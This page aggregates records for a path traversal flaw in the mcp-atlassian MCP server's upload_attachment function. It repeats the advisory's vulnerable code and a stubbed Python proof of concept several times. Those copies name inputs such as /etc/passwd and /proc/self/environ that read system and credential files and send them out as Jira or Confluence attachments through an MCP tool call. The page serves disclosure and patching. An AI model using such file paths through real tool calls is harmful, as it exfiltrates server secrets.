CVE-2026-77266
MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment accepts absolute paths and traversal sequences without constraining the resolved path to the server workspace. An MCP caller with attachment access can read a chosen server-local file and exfiltrate it through Jira or Confluence. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and path traversal, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.5
MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment accepts absolute paths and traversal sequences without constraining the resolved path to the server workspace. An MCP caller with attachment access can read a chosen server-local file and exfiltrate it through Jira or Confluence. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and path traversal, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
- Record
CVE-2026-77266- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-84747
6.5
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment accepts absolute paths and traversal sequences without constraining the resolved path to the server workspace. An MCP caller with attachment access can read a chosen server-local file and exfiltrate it through Jira or Confluence. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and path traversal, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
- Record
EUVD-2026-84747- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-mfv2-4wvm-9pgp
6.5
MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call
Summary
The upload_attachment functions in both the Jira and Confluence modules accept a user-controlled file_path parameter and open the specified file for reading without calling validate_safe_path(). An authenticated MCP client can supply an arbitrary path such as /etc/passwd or /proc/self/environ, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.
This is an incomplete fix relative to GHSA-xjgw-4wvw-rgm4: the download_attachment and download_issue_attachments paths were hardened with validate_safe_path(), but the upload direction was left unguarded in both the Jira and Confluence modules.
Details
Affected functions:
| File | Function | Line |
|------|----------|------|
| src/mcp_atlassian/jira/attachments.py | upload_attachment() | ~372–415 |
| src/mcp_atlassian/confluence/attachments.py | upload_attachment() | ~62–108 |
| src/mcp_atlassian/confluence/attachments.py | _upload_attachment_direct() | ~476–477 |
Jira — vulnerable code path (jira/attachments.py):
def upload_attachment(self, issue_key: str, file_path: str) -> dict:
...
if not os.path.isabs(file_path):
file_path = os.path.abspath(file_path) # resolves relative paths
if not os.path.exists(file_path): # confirms file exists
...
# ⚠ validate_safe_path() is NEVER called here
filename = os.path.basename(file_path)
with open(file_path, "rb") as file: # arbitrary file opened
attachment = self.jira.add_attachment(
issue_key=issue_key, filename=file_path
)
Compare with the protected download path in the same file:
def download_attachment(self, url: str, target_path: str) -> bool:
...
validate_safe_path(target_path) # upload has no equivalent
Confluence — vulnerable code path (confluence/attachments.py):
def upload_attachment(self, content_id, file_path, ...):
...
if not os.path.isabs(file_path):
file_path = os.path.abspath(file_path)
# ⚠ validate_safe_path() is NEVER called
filename = os.path.basename(file_path)
attachment = self._upload_attachment_direct(
content_id, file_path, filename, comment, minor_edit
)
# Inside _upload_attachment_direct():
files = {"file": (filename, open(file_path, "rb"))} # ← arbitrary file opened
PoC
Tested against commit d8bc786 (v0.21.1, latest main). No real Atlassian credentials required — the API call is stubbed.
Jira PoC (poc_001_jira_path_traversal.py):
import sys, os, types
from unittest.mock import MagicMock
sys.path.insert(0, "src")
def _make_pkg(name):
m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m
atlassian_pkg = _make_pkg("atlassian")
atlassian_jira = _make_pkg("atlassian.jira")
atlassian_pkg.jira = atlassian_jira
atlassian_jira.Jira = type("Jira", (), {
"__init__": lambda s, *a, **k: None,
"_session": MagicMock()
})
atlassian_pkg.Jira = atlassian_jira.Jira
keyring = _make_pkg("keyring")
keyring.get_password = keyring.set_password = lambda *a, **k: None
from mcp_atlassian.jira.attachments import AttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig
config = JiraConfig(url="https://test.atlassian.net", auth_type="basic",
username="x", api_token="x")
class FakeFetcher(AttachmentsMixin):
def __init__(self):
self.config = config
self.jira = MagicMock()
self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"}
result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd")
print(result)
Observed output — Jira (Kali Linux, v0.21.1):
<img width="1342" height="131" alt="image" src="https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc" />
[*] Target file :…
- Record
GHSA-mfv2-4wvm-9pgp- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
6.5
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment accepts absolute paths and traversal sequences without constraining the resolved path to the server workspace. An MCP caller with attachment access can read a chosen server-local file and exfiltrate it through Jira or Confluence. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and path traversal, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
- Record
CVE-2026-77266- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
6.5
MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment accepts absolute paths and traversal sequences without constraining the resolved path to the server workspace. An MCP caller with attachment access can read a chosen server-local file and exfiltrate it through Jira or Confluence. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and path traversal, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
- Record
CVE-2026-77266- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-mfv2-4wvm-9pgp
6.5
MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call
Summary
The upload_attachment functions in both the Jira and Confluence modules accept a user-controlled file_path parameter and open the specified file for reading without calling validate_safe_path(). An authenticated MCP client can supply an arbitrary path such as /etc/passwd or /proc/self/environ, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.
This is an incomplete fix relative to GHSA-xjgw-4wvw-rgm4: the download_attachment and download_issue_attachments paths were hardened with validate_safe_path(), but the upload direction was left unguarded in both the Jira and Confluence modules.
Details
Affected functions:
| File | Function | Line |
|------|----------|------|
| src/mcp_atlassian/jira/attachments.py | upload_attachment() | ~372–415 |
| src/mcp_atlassian/confluence/attachments.py | upload_attachment() | ~62–108 |
| src/mcp_atlassian/confluence/attachments.py | _upload_attachment_direct() | ~476–477 |
Jira — vulnerable code path (jira/attachments.py):
def upload_attachment(self, issue_key: str, file_path: str) -> dict:
...
if not os.path.isabs(file_path):
file_path = os.path.abspath(file_path) # resolves relative paths
if not os.path.exists(file_path): # confirms file exists
...
# ⚠ validate_safe_path() is NEVER called here
filename = os.path.basename(file_path)
with open(file_path, "rb") as file: # arbitrary file opened
attachment = self.jira.add_attachment(
issue_key=issue_key, filename=file_path
)
Compare with the protected download path in the same file:
def download_attachment(self, url: str, target_path: str) -> bool:
...
validate_safe_path(target_path) # upload has no equivalent
Confluence — vulnerable code path (confluence/attachments.py):
def upload_attachment(self, content_id, file_path, ...):
...
if not os.path.isabs(file_path):
file_path = os.path.abspath(file_path)
# ⚠ validate_safe_path() is NEVER called
filename = os.path.basename(file_path)
attachment = self._upload_attachment_direct(
content_id, file_path, filename, comment, minor_edit
)
# Inside _upload_attachment_direct():
files = {"file": (filename, open(file_path, "rb"))} # ← arbitrary file opened
PoC
Tested against commit d8bc786 (v0.21.1, latest main). No real Atlassian credentials required — the API call is stubbed.
Jira PoC (poc_001_jira_path_traversal.py):
import sys, os, types
from unittest.mock import MagicMock
sys.path.insert(0, "src")
def _make_pkg(name):
m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m
atlassian_pkg = _make_pkg("atlassian")
atlassian_jira = _make_pkg("atlassian.jira")
atlassian_pkg.jira = atlassian_jira
atlassian_jira.Jira = type("Jira", (), {
"__init__": lambda s, *a, **k: None,
"_session": MagicMock()
})
atlassian_pkg.Jira = atlassian_jira.Jira
keyring = _make_pkg("keyring")
keyring.get_password = keyring.set_password = lambda *a, **k: None
from mcp_atlassian.jira.attachments import AttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig
config = JiraConfig(url="https://test.atlassian.net", auth_type="basic",
username="x", api_token="x")
class FakeFetcher(AttachmentsMixin):
def __init__(self):
self.config = config
self.jira = MagicMock()
self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"}
result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd")
print(result)
Observed output — Jira (Kali Linux, v0.21.1):
<img width="1342" height="131" alt="image" src="https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc" />
[*] Target file :…
- Record
GHSA-mfv2-4wvm-9pgp- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVPYSEC-2026-4097
6.5
MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call
Summary
The upload_attachment functions in both the Jira and Confluence modules accept a user-controlled file_path parameter and open the specified file for reading without calling validate_safe_path(). An authenticated MCP client can supply an arbitrary path such as /etc/passwd or /proc/self/environ, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.
This is an incomplete fix relative to GHSA-xjgw-4wvw-rgm4: the download_attachment and download_issue_attachments paths were hardened with validate_safe_path(), but the upload direction was left unguarded in both the Jira and Confluence modules.
Details
Affected functions:
| File | Function | Line |
|------|----------|------|
| src/mcp_atlassian/jira/attachments.py | upload_attachment() | ~372–415 |
| src/mcp_atlassian/confluence/attachments.py | upload_attachment() | ~62–108 |
| src/mcp_atlassian/confluence/attachments.py | _upload_attachment_direct() | ~476–477 |
Jira — vulnerable code path (jira/attachments.py):
def upload_attachment(self, issue_key: str, file_path: str) -> dict:
...
if not os.path.isabs(file_path):
file_path = os.path.abspath(file_path) # resolves relative paths
if not os.path.exists(file_path): # confirms file exists
...
# ⚠ validate_safe_path() is NEVER called here
filename = os.path.basename(file_path)
with open(file_path, "rb") as file: # arbitrary file opened
attachment = self.jira.add_attachment(
issue_key=issue_key, filename=file_path
)
Compare with the protected download path in the same file:
def download_attachment(self, url: str, target_path: str) -> bool:
...
validate_safe_path(target_path) # upload has no equivalent
Confluence — vulnerable code path (confluence/attachments.py):
def upload_attachment(self, content_id, file_path, ...):
...
if not os.path.isabs(file_path):
file_path = os.path.abspath(file_path)
# ⚠ validate_safe_path() is NEVER called
filename = os.path.basename(file_path)
attachment = self._upload_attachment_direct(
content_id, file_path, filename, comment, minor_edit
)
# Inside _upload_attachment_direct():
files = {"file": (filename, open(file_path, "rb"))} # ← arbitrary file opened
PoC
Tested against commit d8bc786 (v0.21.1, latest main). No real Atlassian credentials required — the API call is stubbed.
Jira PoC (poc_001_jira_path_traversal.py):
import sys, os, types
from unittest.mock import MagicMock
sys.path.insert(0, "src")
def _make_pkg(name):
m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m
atlassian_pkg = _make_pkg("atlassian")
atlassian_jira = _make_pkg("atlassian.jira")
atlassian_pkg.jira = atlassian_jira
atlassian_jira.Jira = type("Jira", (), {
"__init__": lambda s, *a, **k: None,
"_session": MagicMock()
})
atlassian_pkg.Jira = atlassian_jira.Jira
keyring = _make_pkg("keyring")
keyring.get_password = keyring.set_password = lambda *a, **k: None
from mcp_atlassian.jira.attachments import AttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig
config = JiraConfig(url="https://test.atlassian.net", auth_type="basic",
username="x", api_token="x")
class FakeFetcher(AttachmentsMixin):
def __init__(self):
self.config = config
self.jira = MagicMock()
self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"}
result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd")
print(result)
Observed output — Jira (Kali Linux, v0.21.1):
<img width="1342" height="131" alt="image" src="https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc" />
[*] Target file :…
- Record
PYSEC-2026-4097- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
mcp-atlassianPyPI |
before 0.22.0 | 0.22.0 |
mcp-atlassianPyPI |
before 0.22.0, plus listed versions 0.1.10.1.100.1.110.1.120.1.13 Show 45 moreShow less0.1.140.1.150.1.160.1.20.1.30.1.40.1.60.1.70.1.80.1.90.10.00.10.10.10.20.10.30.10.40.10.50.10.60.11.00.11.10.11.100.11.110.11.120.11.20.11.2a20.11.30.11.40.11.50.11.60.11.70.11.80.11.90.12.00.13.00.13.10.14.00.14.10.14.20.14.30.15.00.16.00.16.10.17.00.18.00.18.10.19.0 |
0.22.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-77266 is a medium vulnerability (CVSS 6.5) in Mcp-atlassian Mcp Atlassian, published September 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.50%, the 43rd percentile. Fixed in mcp-atlassian 0.22.0.
References
github.com/sooperset/mcp-atlassian/security/advisories/GHSA-mfv2-4wvm-9pgp
github.com/sooperset/mcp-atlassian/pull/1448
github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460
github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0
github.com/advisories/GHSA-mfv2-4wvm-9pgp
github.com/CVEProject/cvelistV5/tree/main/cves/2026/77xxx/CVE-2026-77266.json
nvd.nist.gov/vuln/detail/CVE-2026-77266
github.com/sooperset/mcp-atlassian
pypi.org/project/mcp-atlassian
Left out here: 29 versions and the rest of 3 source descriptions. The JSON record has them.